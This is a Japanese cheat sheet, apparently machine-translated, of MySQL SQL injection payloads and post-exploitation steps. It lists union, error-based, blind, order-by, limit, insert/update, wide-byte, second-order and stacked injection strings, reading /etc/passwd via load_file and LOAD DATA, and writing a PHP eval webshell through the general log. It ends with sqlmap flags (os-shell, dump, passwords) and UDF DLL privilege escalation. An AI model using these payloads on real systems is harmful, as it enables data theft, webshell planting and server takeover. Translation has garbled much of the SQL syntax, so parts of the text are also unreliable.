SQLインジェクションとudf特権エスカレーションの一般的な方法
SQLインジェクションの概要
1.共同注射
フィールドの数を決定するために、またはユニオンを介して、1、2、3を選択します。。。。。フィールド数と出力位置を決定するには
現在のデータベースユニオンセレクト1、データベース()を取得します-
information_schema.tablesからtable union select 1、group_concat(table_name)を取得します。ここでtable_schema = database()-
table_name = ''-のinformation_schema.columnsから、テーブルユニオンselect 1、group_concat(column_name)のフィールド名を取得します。
2.エラー挿入
select count(*)、(concat(floor(rand(0)* 2)、(select version())))x from user group by x;
select * from xxx where id = '12 'or extractvalue(1、concat(user()、0x7e、version()))
select * from xxx where id = '12 'or updatexml(1、concat(user()、0x7e、version())、1)
3.盲注
3.1ブールブラインド
解の長さを1つずつ推測した後、ASCII推測解は異なる結果を返すことによって判断されます。
select * from xxx where id = '12 'and ascii(substr((select table_name from information_schema.tables where table_schema = database()limit 0,1)、2,1))= 109
ascii(substr(database()、1,1))= 100を選択します。
3.2タイムブラインド
解の長さを1つずつ推測した後、ASCII推測は異なる時間を返すことによって決定されます。
select * from xxx where id = '12 'and if(ascii(substr((select table_name from information_schema.tables
where table_schema = database()limit 0,1)、1,1))> 120、sleep(2)、NULL )
4.注射による注文
updatexml(1、if(1 = 1,1、user())、1)により、xxxの順序から*を選択します
select * from xxx order by IF(1 = 1,1、(select + 1 + union + select + 2))
select * from xxx order by(select + 1 + regexp + if(1 = 1,1,0x00))
extractvalue(1、if(1 = 1,1、user()))でxxxの順序から*を選択します
select * from xxx order by if(1 = 1,1、(SELECT(1)FROM(SELECT(SLEEP(2)))test))
5.注入制限
5.1による注文はありません
この場合、制限を使用して、
実行後に結合クエリインジェクションを実行できます。
5.2注文
このメソッドは、バージョン5.0.0 <MySQL <5.6.6、制限ステートメントの後の注入に適しています
ユーザーからIDをID制限で並べ替え1,1手順analyse((select extractvalue(rand()、concat(0x3a、(if(mid(version()、1,1)like 5、BENCHMARK(5000000、SHA1(1) )、1))))))、1)
6.挿入/更新インジェクション
データを挿入してエコーを取得するか、エラー挿入を組み合わせて挿入できます
更新xxxセットid = '1' | select conv(hex(substr((select table_name from information_schema.tables where table_schema = schema()limit 0,1)、1 +(n-1)* 8、8 n))、
16、10 ); ユーザーの値に挿入(17、 'james'、 'bond' | conv(hex(substr(user()、1 +(n-1)* 8、8 n))、16、10);
##注:上記の方法は、mysqlの上位バージョンでは必ずしも有効ではありません。
update xxx set id = 'xx' +(select conv(hex(substr(user()、1 +(n-1)* 8、8 * n))、16、10);)+ 'xx'
7.ワイドバイトインジェクション
場合によっては、データベースはgbkエンコーディングを使用するため、addslashes関数をバイパスできます。
入力データ:ユーザー名=%df%27or%201 = 1%23&パスワード= 123
処理後:ユーザー名=%df%5c%27or%201 = 1%23&パスワード= 123
データベースをクエリする場合:ユーザー名= '运'または1 = 1# 'およびパスワード=' 123 'のユーザーから*を選択します。
8.二次注入
バックグラウンドで挿入したデータが挿入されたが、データベースからクエリされたデータがSQLステートメントに直接挿入されて実行されるため、セカンダリインジェクションが発生する可能性がある
登録されたユーザー名は123 'で、スラッシュでエスケープされると123 \'になりますか、それとも123 'がデータベースに保存されますか?バックエンドがユーザー名でクエリを実行すると、select * from xxx where id =' 12 ''が取得されます。二次注射の結果
9.スタック注入
sqlステートメントを使用する場合、id = 1のユーザーから*を選択できます; select 1,2,3;
2つのステートメントの実行を実装するには
10. SQLインジェクション後のosshellの使用
sqlmapを使用する場合、osshellパラメータを使用してシステムコマンドを実装できます。mysqでは、phpとmysqlの環境では、osshellがphpファイルをウェブサイトに生成するため、ウェブサイトの絶対ディレクトリを知り、ウェブサイトディレクトリへの書き込み権限を持っている必要があります。ルートディレクトリでコマンドを実行するため、上記の条件は必須です
11.SQLインジェクション後のファイル書き込み
11.1要件
secure-file-privは、ファイルの読み取り/書き込み機能を制限するシステム変数です。詳細は次のとおりです。
コンテンツがないことは無制限を意味します。
NULLは、ファイルの読み取り/書き込みが禁止されていることを意味します。
これはディレクトリ名であり、特定のディレクトリ内のファイルのみが読み取り/書き込みを許可されていることを示します。
注:5.5.53自体とそれ以降のバージョンのデフォルト値はNULLであり、以前のバージョンにはコンテンツがありません。
secure-file-privの現在の値を表示するには、3つの方法があります。
@@ secure_file_priv;を選択します。
@@ global.secure_file_priv;を選択します。
「secure_file_priv」のような変数を表示します;
修改:
my.iniファイルを変更して、次を
追加します。secure -file-priv= 開始項目追加パラメーター:mysqld.exe --secure-file-priv =
11.2読書
Mysqlは通常、load_file関数を使用してファイルを読み取ります。構文は次のとおりです。
select load_file(file_path);
ファイルを読み取る2番目の方法:
ファイル「/ etc / passwd」のデータをテーブルテストにロードFIELDS TERMINATED BY '\ n';#サーバーファイルを読み取る
3番目のタイプ:
ローカルローカルファイル「/ etc / passwd」をテーブルテストにロードしますFIELDS TERMINATED BY '\ n';#クライアントファイルを読み取ります
制限:
最初の2つには、値のないsecure-file-privまたは適切なディレクトリが必要です。
読み取るファイルの絶対パスを知っている必要があります。
読み込まれるファイルサイズは、max_allowed_packetで設定された値よりも小さい必要があります。
11.3書き込み
mysqlログディレクトリを設定する
set global general_log = on; set global general_log_file = 'C:/phpStudy/WWW/123.php'; select '<?php eval($ _ POST [123])?>';
setコマンドは、SQLインジェクションのスタックインジェクションで使用する必要があり、クエリインジェクションでは使用できません
アウトファイルへ/ダンプファイルへ
'<?phpinfo(); ?> 'outfile' c:/123.php 'に;
11.4拡張
MySQLクライアントの任意のファイル読み取り攻撃チェーンの拡張
これはmysqlクライアントで直接使用できますが、データベース接続にphpを使用している場合、データベースに接続してクエリ操作を実行する必要があるだけでなく、php7.3.4では再現が失敗し、php5.4では再現が成功します
12.sqlmapの一般的な構文
sqlmap.py
-uは、接続URLを指定するには、URLが持っている必要があります?xx=xx
仕事を
-l
ログファイルが続きます。これは、げっぷなどのプロキシのログファイルです。
-m
txtファイルが続きます。ファイルには複数のURLがあり、sqlmapはすべてのURLを自動的に検出します
-r
ポスト要求パケットをtxtに保存できます。sqlmapはポストによってターゲットを検出します
--method=METHOD
getメソッドかpostメソッドかを指定します
--data=DATA
どのパラメータであるかを示します
--cookie=COOKIE
テストで使用されるCookieを指定します
--user-agent=AGENT
テスト用のユーザーエージェント値を指定する
--random-agent
ランダムなユーザーエージェントでテストする
--referer=REFERER
httpパケットのrefereフィールドを指定します
-p TESTPARAMETER
テストパラメータを知る
--level=LEVEL
テストレベルを設定する
–String = STRING`ブールベースのインジェクションでは、返されるページが一度に1つになる場合があります。正しいページへの戻りを自分でマークするマークを自分で決定する必要があり、返されるコンテンツのマーク(文字列)に従ってtrueとfalseを判断します、このパラメーターを使用して、どの文字列が正しいかを指定できます。。
--technique=TECH
使用するテクノロジーを指定します(B:ブールブラインドインジェクション、E:エラーインジェクション、U:共同クエリインジェクション、S:ファイルシステム、オペレーティングシステム、レジストリ関連のインジェクション、T:時間ブラインドインジェクション、すべてデフォルトで使用)
–Time-sec = TIMESEC`ブラインドベースの時間ベースの射出の場合、判定時間を秒単位で指定します。デフォルトは5秒です。
--Union-cols = UCOLSユニオンクエリで試行された列の数
--current-user
現在のユーザー
--current-db
現在のデータベース
--is-dbaはdbaです
-ユーザーは合計ユーザーを照会します
--Passwordsはユーザーパスワードハッシュを照会します
--dbs
ターゲットサーバーにあるデータベース
--tables
ターゲットデータベースにあるテーブル
--columns
ターゲットテーブルの列
–ダンプこれは説明されません
–Sql-query = QUERY` SQLステートメントを実行します。
–Sql-shell` SQLシェルを作成します。
--os-shell
他のオペレーティングシステムのシェルを作成し、システムコマンドをリモートで実行します。
13.特権エスカレーションのためのudfのSQLインジェクション
UDF(ユーザー定義関数)ユーザー定義関数は、mysqlの拡張インターフェースです。ユーザーは、カスタム関数を使用してmysqlに簡単に実装できない関数を実装できます。追加した新しい関数は、ネイティブ関数を呼び出すのと同じように、SQLステートメントで呼び出すことができます。
Windows
でのudfの昇格の条件mysqlのバージョンが5.1より大きい場合、udf.dllファイルはmysqlのインストールディレクトリのlib \ pluginフォルダーに配置する必要があります。mysqlの
バージョンが5.1未満の場合、udf.dllファイルはWindows Server 2003のcに配置されます。 \ windows \ system32ディレクトリ。Windowsサーバー2000のc:\ winnt \ system32ディレクトリにあります。
mysqlデータベースのアカウントをマスターし、mysqlの挿入および削除権限を持ち、関数を作成および破棄します。
udf.dllを対応するディレクトリに書き込む権限を持っています。
mysql.userからホスト、ユーザー、プラグインを選択します。ここでuser = substring_index(user()、 '@'、1);
プラグインの値が空
の場合、プラグインの値がmysql_native_passwordの場合、権限を解除できません。
udf.dllはsqlmapにあります。sqlmap/ udf / mysql / windowsの下に32と64があります。ここのビット数はmysqlのビット数であり、
sqlmap内の他のシステムのudf.dllのビット数はエンコードされていますはい、最初にデコードする必要があります。デコードツールはsqlmap / extra / cloak / cloak.pyにあります
特権の昇格では、dllファイルに存在する関数のみを使用できます